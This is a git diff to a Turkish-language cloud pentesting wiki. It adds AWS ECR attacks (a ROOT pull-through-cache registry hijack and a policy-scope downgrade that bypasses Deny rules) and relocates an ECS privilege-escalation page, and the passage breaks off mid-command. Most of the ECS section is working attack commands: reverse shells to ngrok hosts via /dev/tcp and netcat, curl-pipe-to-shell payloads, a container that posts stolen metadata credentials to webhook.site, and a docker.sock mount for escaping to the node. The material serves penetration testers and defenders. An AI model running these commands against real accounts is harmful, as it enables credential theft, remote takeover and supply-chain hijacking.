+ + +#### ROOT Pull-Through Cache kuralı ile global registry hijack + +Özel `ecrRepositoryPrefix=ROOT` kullanarak Pull-Through Cache (PTC) kuralı oluşturun; bu, private ECR registry'nin kökünü upstream public registry (ör. ECR Public) ile eşler. Private registry'de var olmayan bir repository'ye yapılan herhangi bir pull, upstream'den şeffaf şekilde servis edilir ve private ECR'ye push yapmadan supply-chain hijacking'e olanak tanır. + +- Gerekli izinler: `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`, `ecr:GetAuthorizationToken`. +- Etki: `.dkr.ecr..amazonaws.com/:` adreslerine yapılan pull'lar başarılı olur ve upstream kaynaklı private repository'ler otomatik olarak oluşturulur. + +> Not: `ROOT` kuralları için `--upstream-repository-prefix` belirtmeyin. Belirtirseniz doğrulama hatası oluşur. + +
+Demo (us-east-1, upstream public.ecr.aws) +```bash +REGION=us-east-1 +ACCT=$(aws sts get-caller-identity --query Account --output text) + +# 1) Create ROOT PTC rule mapping to ECR Public (no upstream prefix) +aws ecr create-pull-through-cache-rule \ +--region "$REGION" \ +--ecr-repository-prefix ROOT \ +--upstream-registry-url public.ecr.aws + +# 2) Authenticate to private ECR and pull via root path (triggers caching & auto repo creation) +aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${ACCT}.dkr.ecr.${REGION}.amazonaws.com + +# Example using an official mirror path hosted in ECR Public +# (public.ecr.aws/docker/library/alpine:latest) +docker pull ${ACCT}.dkr.ecr.${REGION}.amazonaws.com/docker/library/alpine:latest + +# 3) Verify repo and image now exist without any push +aws ecr describe-repositories --region "$REGION" \ +--query "repositories[?repositoryName==docker/library/alpine]" +aws ecr list-images --region "$REGION" --repository-name docker/library/alpine --filter tagStatus=TAGGED + +# 4) Cleanup +aws ecr delete-pull-through-cache-rule --region "$REGION" --ecr-repository-prefix ROOT +aws ecr delete-repository --region "$REGION" --repository-name docker/library/alpine --force || true +``` +
+ +### `ecr:PutAccountSetting` (Kayıt defteri politika Deny'larını atlatmak için `REGISTRY_POLICY_SCOPE`'u düşürme) + +`ecr:PutAccountSetting`'i kötüye kullanarak kayıt defteri politika kapsamını `V2`'den (politik tüm ECR eylemlerine uygulanır) `V1`'e (politik yalnızca `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`'e uygulanır) geçirebilirsiniz. Eğer kısıtlayıcı bir kayıt defteri politika Deny, `CreatePullThroughCacheRule` gibi eylemleri engelliyorsa, kapsamı `V1`'e düşürmek bu uygulamayı kaldırır ve kimlik-politikası Allows etkili olur. + +- Gerekli izinler: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`. +- Etki: Kayıt defteri politika Deny tarafından daha önce engellenmiş ECR eylemlerini (ör. PTC kuralları oluşturma) geçici olarak kapsamı `V1` yaparak gerçekleştirebilme. + +Adımlar (örnek): + +
+CreatePullThroughCacheRule üzerinde kayıt defteri politika Deny'sini V1'e geçerek atlatma +```bash +REGION=us-east-1 +ACCT=$(aws sts get-caller-identity --query Account --output text) + +# 0) Snapshot current scope/policy (for restore) +aws ecr get-account-setting --name REGISTRY_POLICY_SCOPE --region $REGION || true +aws ecr get-registry-policy --region $REGION > /tmp/orig-registry-policy.json 2>/dev/null || echo '{}' > /tmp/orig-registry-policy.json + +# 1) Ensure V2 and set a registry policy Deny for CreatePullThroughCacheRule +aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION +cat > /tmp/deny-ptc.json <<'JSON' +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "DenyPTCAll", +"Effect": "Deny", +"Principal": "*", +"Action": ["ecr:CreatePullThroughCacheRule"], +"Resource": "*" +} +] +} +JSON +aws ecr put-registry-policy --policy-text file:///tmp/deny-ptc.json --region $REGION + +# 2) Attempt to create a PTC rule (should FAIL under V2 due to Deny) +set +e +aws ecr create-pull-through-cache-rule \ +--region $REGION \ +--ecr-repository-prefix ptc-deny-test \ +--upstream-registry-url public.ecr.aws +RC=$? +set -e +if [ "$RC" -eq 0 ]; then echo "UNEXPECTED: rule creation succeeded under V2 deny"; fi + +# 3) Downgrade scope to V1 and retry (should SUCCEED now) +aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V1 --region $REGION +aws ecr create-pull-through-cache-rule \ +--region $REGION \ +--ecr-repository-prefix ptc-deny-test \ +--upstream-registry-url public.ecr.aws + +# 4) Verify rule exists +aws ecr describe-pull-through-cache-rules --region $REGION \ +--query "pullThroughCacheRules[?ecrRepositoryPrefix=='ptc-deny-test']" + +# 5) Cleanup and restore +aws ecr delete-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc-deny-test || true +if jq -e '.registryPolicyText' /tmp/orig-registry-policy.json >/dev/null 2>&1; then +jq -r '.registryPolicyText' /tmp/orig-registry-policy.json > /tmp/_orig.txt +aws ecr put-registry-policy --region $REGION --policy-text file:///tmp/_orig.txt +else +aws ecr delete-registry-policy --region $REGION || true +fi +aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION +``` +
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md deleted file mode 100644 index b24464466..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md +++ /dev/null @@ -1,327 +0,0 @@ -# AWS - ECS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## ECS - -Daha fazla **ECS hakkında bilgi** için: - -{{#ref}} -../aws-services/aws-ecs-enum.md -{{#endref}} - -### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` - -ECS'de `iam:PassRole`, `ecs:RegisterTaskDefinition` ve `ecs:RunTask` izinlerini kötüye kullanan bir saldırgan **yeni bir task definition oluşturabilir**, metadata kimlik bilgilerini çalan **kötü amaçlı bir container** ile bunu **çalıştırabilir**. - -{{#tabs }} -{{#tab name="Reverse Shell" }} -```bash -# Generate task definition with rev shell -aws ecs register-task-definition --family iam_exfiltration \ ---task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ ---network-mode "awsvpc" \ ---cpu 256 --memory 512\ ---requires-compatibilities "[\"FARGATE\"]" \ ---container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" - -# Run task definition -aws ecs run-task --task-definition iam_exfiltration \ ---cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \ ---launch-type FARGATE \ ---network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}" - -# Delete task definition -## You need to remove all the versions (:1 is enough if you just created one) -aws ecs deregister-task-definition --task-definition iam_exfiltration:1 -``` -{{#endtab }} - -{{#tab name="Webhook" }} - -webhook.site gibi bir site ile bir webhook oluşturun -```bash - -# Create file container-definition.json -[ -{ -"name": "exfil_creds", -"image": "python:latest", -"entryPoint": ["sh", "-c"], -"command": [ -"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890" -] -} -] - -# Run task definition, uploading the .json file -aws ecs register-task-definition \ ---family iam_exfiltration \ ---task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ ---network-mode "awsvpc" \ ---cpu 256 \ ---memory 512 \ ---requires-compatibilities FARGATE \ ---container-definitions file://container-definition.json - -# Check the webhook for a response - -# Delete task definition -## You need to remove all the versions (:1 is enough if you just created one) -aws ecs deregister-task-definition --task-definition iam_exfiltration:1 - -``` -{{#endtab }} - -{{#endtabs }} - -**Olası Etki:** Farklı bir ECS role doğrudan privesc. - -### `iam:PassRole`,`ecs:RunTask` -`iam:PassRole` ve `ecs:RunTask` izinlerine sahip bir saldırgan, **execution role**, **task role** ve konteynerin **command** değerleri değiştirilmiş yeni bir ECS task'ı başlatabilir. `ecs run-task` CLI komutu `--overrides` flag'ini içerir; bu flag task definition ile oynamadan çalışma zamanında `executionRoleArn`, `taskRoleArn` ve konteynerin `command` değerlerini değiştirmeye izin verir. - -`taskRoleArn` ve `executionRoleArn` için belirtilen IAM rolleri, trust policy'lerinde `ecs-tasks.amazonaws.com` tarafından assume edilmesine izin verecek şekilde trust/allow içermelidir. - -Ayrıca saldırganın bilmesi gerekir: -- ECS cluster name -- VPC Subnet -- Security group (Belirtilmezse varsayılan security group kullanılacaktır) -- Task Definition Name and revision -- Name of the Container -```bash -aws ecs run-task \ ---cluster \ ---launch-type FARGATE \ ---network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" \ ---task-definition \ ---overrides ' -{ -"taskRoleArn": "arn:aws:iam:::role/HighPrivilegedECSTaskRole", -"containerOverrides": [ -{ -"name": , -"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"] -} -] -}' -``` -Yukarıdaki kod parçasında saldırgan yalnızca `taskRoleArn` değerini değiştirir. Ancak, saldırının gerçekleşmesi için saldırganın komutta belirtilen `taskRoleArn` ve task tanımında belirtilen `executionRoleArn` üzerinde `iam:PassRole` iznine sahip olması gerekir. - -Eğer saldırganın pass edebildiği IAM rolü ECR imajını çekmek ve ECS task'ını başlatmak için yeterli ayrıcalıklara sahipse (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) o zaman saldırgan `ecs run-task` komutunda hem `executionRoleArn` hem de `taskRoleArn` için aynı IAM rolünü belirleyebilir. -```sh -aws ecs run-task --cluster --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" --task-definition --overrides ' -{ -"taskRoleArn": "arn:aws:iam:::role/HighPrivilegedECSTaskRole", -"executionRoleArn":"arn:aws:iam:::role/HighPrivilegedECSTaskRole", -"containerOverrides": [ -{ -"name": "", -"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"] -} -] -}' -``` -**Potential Impact:** Herhangi bir ECS task role üzerinde doğrudan privesc. - -### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask` - -Önceki örnekte olduğu gibi, ECS'te **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** izinlerini kötüye kullanan bir saldırgan, metadata kimlik bilgilerini çalan bir **malicious container** ile **yeni bir task definition oluşturabilir** ve **çalıştırabilir**.\ -Ancak, bu durumda, kötü amaçlı task definition'ı çalıştırmak için bir container instance gereklidir. -```bash -# Generate task definition with rev shell -aws ecs register-task-definition --family iam_exfiltration \ ---task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ ---network-mode "awsvpc" \ ---cpu 256 --memory 512\ ---container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" - -aws ecs start-task --task-definition iam_exfiltration \ ---container-instances - -# Delete task definition -## You need to remove all the versions (:1 is enough if you just created one) -aws ecs deregister-task-definition --task-definition iam_exfiltration:1 -``` -**Olası Etki:** Herhangi bir ECS rolüne doğrudan privesc. - -### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` - -Önceki örnekte olduğu gibi, ECS'te **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** veya **`ecs:CreateService`** izinlerini kötüye kullanan bir saldırgan, **yeni bir task definition** oluşturup içinde metadata kimlik bilgilerini çalan **kötü amaçlı bir container** barındırabilir ve bunu **en az 1 task çalıştıracak şekilde yeni bir service oluşturarak çalıştırabilir.** -```bash -# Generate task definition with rev shell -aws ecs register-task-definition --family iam_exfiltration \ ---task-role-arn "$ECS_ROLE_ARN" \ ---network-mode "awsvpc" \ ---cpu 256 --memory 512\ ---requires-compatibilities "[\"FARGATE\"]" \ ---container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]" - -# Run the task creating a service -aws ecs create-service --service-name exfiltration \ ---task-definition iam_exfiltration \ ---desired-count 1 \ ---cluster "$CLUSTER_ARN" \ ---launch-type FARGATE \ ---network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}" - -# Run the task updating a service -aws ecs update-service --cluster \ ---service \ ---task-definition -``` -**Potential Impact:** Herhangi bir ECS rolüne doğrudan privesc. - -### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)` - -Aslında, sadece bu izinlerle overrides kullanarak herhangi bir rol ile bir konteyner içinde keyfi komutlar çalıştırmak mümkün; şöyle bir şeyle: -```bash -aws ecs run-task \ ---task-definition "" \ ---overrides '{"taskRoleArn":"", "containerOverrides":[{"name":"","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \ ---cluster \ ---network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"\"]}}" -``` -**Potential Impact:** Doğrudan herhangi bir ECS rolüne privesc. - -### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** - -Bu senaryo önceki olanlara benzer ancak **`iam:PassRole`** izni olmadan.\ -Bu hâlâ ilginç çünkü eğer rastgele bir container çalıştırabiliyorsanız, role olmadan olsa bile node'a kaçmak için **run a privileged container to escape** çalıştırıp node üzerinde çalışan **EC2 IAM role** ve diğer **ECS containers roles**'u çalabilirsiniz.\ -Hatta ele geçirdiğiniz EC2 instance içinde diğer task'ları çalıştırmaya **force other tasks to run inside the EC2 instance** zorlayarak onların kimlik bilgilerini çalabilirsiniz (detaylar için bkz. [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)). - -> [!WARNING] -> Bu saldırı yalnızca **ECS cluster is using EC2** instances ve Fargate yerine EC2 kullanılıyorsa mümkündür. -```bash -printf '[ -{ -"name":"exfil_creds", -"image":"python:latest", -"entryPoint":["sh", "-c"], -"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""], -"mountPoints": [ -{ -"readOnly": false, -"containerPath": "/var/run/docker.sock", -"sourceVolume": "docker-socket" -} -] -} -]' > /tmp/task.json - -printf '[ -{ -"name": "docker-socket", -"host": { -"sourcePath": "/var/run/docker.sock" -} -} -]' > /tmp/volumes.json - - -aws ecs register-task-definition --family iam_exfiltration \ ---cpu 256 --memory 512 \ ---requires-compatibilities '["EC2"]' \ ---container-definitions file:///tmp/task.json \ ---volumes file:///tmp/volumes.json - - -aws ecs run-task --task-definition iam_exfiltration \ ---cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \ ---launch-type EC2 - -# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell -``` -### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** - -**`ecs:ExecuteCommand`, `ecs:DescribeTasks`** izinlerine sahip bir saldırgan, çalışan bir container içinde **komutlar çalıştırabilir** ve ona bağlı IAM rolünü dışarı aktarabilir (describe izinlerine ihtiyaç vardır çünkü `aws ecs execute-command` komutunu çalıştırmak için gereklidir).\ -Ancak bunu yapabilmek için, container örneğinin **ExecuteCommand agent**'ı çalıştırıyor olması gerekir (varsayılan olarak çalışmaz). - -Bu yüzden saldırgan şunları deneyebilir: - -- **Her çalışan container'da bir komut çalıştırmayı denemek** -```bash -# List enableExecuteCommand on each task -for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do -echo "Cluster $cluster" -for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do -echo " Task $task" -# If true, it's your lucky day -aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand -done -done - -# Execute a shell in a container -aws ecs execute-command --interactive \ ---command "sh" \ ---cluster "$CLUSTER_ARN" \ ---task "$TASK_ARN" -``` -- Eğer **`ecs:RunTask`** iznine sahipse, `aws ecs run-task --enable-execute-command [...]` ile bir task çalıştırın -- Eğer **`ecs:StartTask`** iznine sahipse, `aws ecs start-task --enable-execute-command [...]` ile bir task çalıştırın -- Eğer **`ecs:CreateService`** iznine sahipse, `aws ecs create-service --enable-execute-command [...]` ile bir service oluşturun -- Eğer **`ecs:UpdateService`** iznine sahipse, `aws ecs update-service --enable-execute-command [...]` ile bir service güncelleyin - -Bu seçeneklerin örneklerini **önceki ECS privesc bölümlerinde** bulabilirsiniz. - -**Potansiyel Etki:** Konteynerlere bağlı farklı bir role privesc. - -### `ssm:StartSession` - -Bu izni nasıl kötüye kullanarak **ECS'e privesc** yapabileceğinizi görmek için **ssm privesc sayfasına** bakın: - -{{#ref}} -aws-ssm-privesc.md -{{#endref}} - -### `iam:PassRole`, `ec2:RunInstances` - -Bu izinleri nasıl kötüye kullanıp **ECS'e privesc** yapabileceğinizi görmek için **ec2 privesc sayfasına** bakın: - -{{#ref}} -aws-ec2-privesc.md -{{#endref}} - -### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole` - -Bu izinlere sahip bir saldırgan, bir EC2 instance'ını bir ECS cluster'ına kayıt ettirip üzerinde task'lar çalıştırabilir. Bu, saldırganın ECS task'ları bağlamında rastgele kod yürütmesine izin verebilir. - -- TODO: Farklı bir AWS hesabından bir instance kaydetmek mümkün mü, böylece task'lar saldırganın kontrolündeki makineler üzerinde mi çalıştırılır?? - -### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets` - -> [!NOTE] -> TODO: Test this - -Bu izinlere (`ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, ve `ecs:DescribeTaskSets`) sahip bir saldırgan, mevcut bir ECS service için **zararlı bir task set oluşturup primary task set'i güncelleyebilir**. Bu, saldırganın **service içinde rastgele kod yürütmesine** olanak tanır. -```bash -# Register a task definition with a reverse shell -echo '{ -"family": "malicious-task", -"containerDefinitions": [ -{ -"name": "malicious-container", -"image": "alpine", -"command": [ -"sh", -"-c", -"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh" -] -} -] -}' > malicious-task-definition.json - -aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json - -# Create a malicious task set for the existing service -aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}" - -# Update the primary task set for the service -aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id -``` -**Olası Etki**: Etkilenen serviste keyfi kod çalıştırılabilir; bu, işlevselliğini etkileyebilir veya hassas verilerin sızdırılmasına yol açabilir. - -## Referanslar - -- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md new file mode 100644 index 000000000..1cc815e66 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md @@ -0,0 +1,550 @@ +# AWS - ECS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECS + +ECS hakkında daha fazla **bilgi** için: + +{{#ref}} +../../aws-services/aws-ecs-enum.md +{{#endref}} + +### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` + +ECS içinde `iam:PassRole`, `ecs:RegisterTaskDefinition` ve `ecs:RunTask` izinlerini suistimal eden bir saldırgan, metadata kimlik bilgilerini çalan bir **malicious container** içeren yeni bir **task definition** oluşturup bunu **çalıştırabilir**. + +{{#tabs }} +{{#tab name="Reverse Shell" }} +```bash +# Generate task definition with rev shell +aws ecs register-task-definition --family iam_exfiltration \ +--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ +--network-mode "awsvpc" \ +--cpu 256 --memory 512\ +--requires-compatibilities "[\"FARGATE\"]" \ +--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" + +# Run task definition +aws ecs run-task --task-definition iam_exfiltration \ +--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \ +--launch-type FARGATE \ +--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}" + +# Delete task definition +## You need to remove all the versions (:1 is enough if you just created one) +aws ecs deregister-task-definition --task-definition iam_exfiltration:1 +``` +{{#endtab }} + +{{#tab name="Webhook" }} + +webhook.site gibi bir site kullanarak bir webhook oluşturun +```bash + +# Create file container-definition.json +[ +{ +"name": "exfil_creds", +"image": "python:latest", +"entryPoint": ["sh", "-c"], +"command": [ +"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890" +] +} +] + +# Run task definition, uploading the .json file +aws ecs register-task-definition \ +--family iam_exfiltration \ +--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ +--network-mode "awsvpc" \ +--cpu 256 \ +--memory 512 \ +--requires-compatibilities FARGATE \ +--container-definitions file://container-definition.json + +# Check the webhook for a response + +# Delete task definition +## You need to remove all the versions (:1 is enough if you just created one) +aws ecs deregister-task-definition --task-definition iam_exfiltration:1 + +``` +{{#endtab }} + +{{#endtabs }} + +**Potential Impact:** Doğrudan farklı bir ECS role privesc. + +### `iam:PassRole`,`ecs:RunTask` +Bir saldırgan `iam:PassRole` ve `ecs:RunTask` izinlerine sahipse, değiştirilmiş **execution role**, **task role** ve container'ın **command** değerleriyle yeni bir ECS task başlatabilir. `ecs run-task` CLI komutu, görev tanımına dokunmadan çalışma zamanında `executionRoleArn`, `taskRoleArn` ve container'ın `command`'ini değiştirmeye izin veren `--overrides` bayrağını içerir. + +taskRoleArn ve executionRoleArn için belirtilen IAM rolleri, trust policy'lerinde `ecs-tasks.amazonaws.com` tarafından assume edilebileceğinin belirtilmiş olması gerekir. + +Ayrıca saldırganın bilmesi gerekir: +- ECS cluster adı +- VPC Subnet +- Security group (Eğer security group belirtilmezse varsayılan kullanılacaktır) +- Task Definition adı ve revizyonu +- Container'ın adı +```bash +aws ecs run-task \ +--cluster \ +--launch-type FARGATE \ +--network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" \ +--task-definition \ +--overrides ' +{ +"taskRoleArn": "arn:aws:iam:::role/HighPrivilegedECSTaskRole", +"containerOverrides": [ +{ +"name": , +"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"] +} +] +}' +``` +Yukarıdaki kod parçasında bir saldırgan yalnızca `taskRoleArn` değerini geçersiz kılar. Ancak saldırının gerçekleşmesi için saldırganın, komutta belirtilen `taskRoleArn` üzerinde ve task tanımında belirtilen `executionRoleArn` üzerinde `iam:PassRole` iznine sahip olması gerekir. + +Eğer saldırganın geçebildiği IAM rolü, ECR imajını çekmek ve ECS task'ını başlatmak için yeterli ayrıcalıklara sahipse (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`), saldırgan `ecs run-task` komutunda hem `executionRoleArn` hem de `taskRoleArn` için aynı IAM rolünü belirtebilir. +```sh +aws ecs run-task --cluster --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" --task-definition --overrides ' +{ +"taskRoleArn": "arn:aws:iam:::role/HighPrivilegedECSTaskRole", +"executionRoleArn":"arn:aws:iam:::role/HighPrivilegedECSTaskRole", +"containerOverrides": [ +{ +"name": "", +"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"] +} +] +}' +``` +**Olası Etki:** Direct privesc to any ECS task role. + +### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask` + +Önceki örnekte olduğu gibi, ECS'te **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** izinlerini kullanan bir saldırgan, **yeni bir task definition** oluşturabilir; bu task definition, metadata credentials'i çalan **kötü amaçlı container** içerebilir ve saldırgan bunu **çalıştırabilir**.\ +Ancak bu durumda, kötü amaçlı task definition'ı çalıştırmak için bir container instance gereklidir. +```bash +# Generate task definition with rev shell +aws ecs register-task-definition --family iam_exfiltration \ +--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ +--network-mode "awsvpc" \ +--cpu 256 --memory 512\ +--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" + +aws ecs start-task --task-definition iam_exfiltration \ +--container-instances + +# Delete task definition +## You need to remove all the versions (:1 is enough if you just created one) +aws ecs deregister-task-definition --task-definition iam_exfiltration:1 +``` +**Potential Impact:** Herhangi bir ECS rolüne doğrudan privesc. + +### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` + +Önceki örnekte olduğu gibi, ECS'de **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** veya **`ecs:CreateService`** izinlerini kötüye kullanan bir saldırgan, **yeni bir task definition oluşturabilir**; bu tanım metadata kimlik bilgilerini çalan bir **kötü amaçlı container** içerir ve bunu **en az 1 task çalıştıracak şekilde yeni bir service oluşturarak çalıştırabilir.** +```bash +# Generate task definition with rev shell +aws ecs register-task-definition --family iam_exfiltration \ +--task-role-arn "$ECS_ROLE_ARN" \ +--network-mode "awsvpc" \ +--cpu 256 --memory 512\ +--requires-compatibilities "[\"FARGATE\"]" \ +--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]" + +# Run the task creating a service +aws ecs create-service --service-name exfiltration \ +--task-definition iam_exfiltration \ +--desired-count 1 \ +--cluster "$CLUSTER_ARN" \ +--launch-type FARGATE \ +--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}" + +# Run the task updating a service +aws ecs update-service --cluster \ +--service \ +--task-definition +``` +**Potential Impact:** Herhangi bir ECS rolüne doğrudan privesc. + +### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)` + +Aslında, sadece bu izinlerle overrides kullanarak, herhangi bir role sahip bir container içinde rastgele komutlar çalıştırmak mümkün; örneğin: +```bash +aws ecs run-task \ +--task-definition "" \ +--overrides '{"taskRoleArn":"", "containerOverrides":[{"name":"","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \ +--cluster \ +--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"\"]}}" +``` +**Potansiyel Etki:** Herhangi bir ECS role'üne doğrudan privesc. + +### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** + +Bu senaryo öncekiyle benzer ama **`iam:PassRole`** izni **olmaksızın**.\ +Bu hâlâ ilginç çünkü keyfi bir container çalıştırabiliyorsanız, rolü olmasa bile, **node'dan kaçmak için ayrıcalıklı bir container çalıştırabilir** ve node üzerinde çalışan **EC2 IAM rolünü** ve **diğer ECS container'larının rollerini** çalabilirsiniz.\ +Hatta ele geçirdiğiniz EC2 instance'ında diğer task'ların çalışmasını zorlayarak onların kimlik bilgilerini çalabilirsiniz (daha önce [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node) bölümünde tartışıldığı gibi). + +> [!WARNING] +> Bu saldırı yalnızca **ECS cluster'ın EC2 instance'larını kullanması** ve Fargate kullanmaması durumunda mümkündür. +```bash +printf '[ +{ +"name":"exfil_creds", +"image":"python:latest", +"entryPoint":["sh", "-c"], +"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""], +"mountPoints": [ +{ +"readOnly": false, +"containerPath": "/var/run/docker.sock", +"sourceVolume": "docker-socket" +} +] +} +]' > /tmp/task.json + +printf 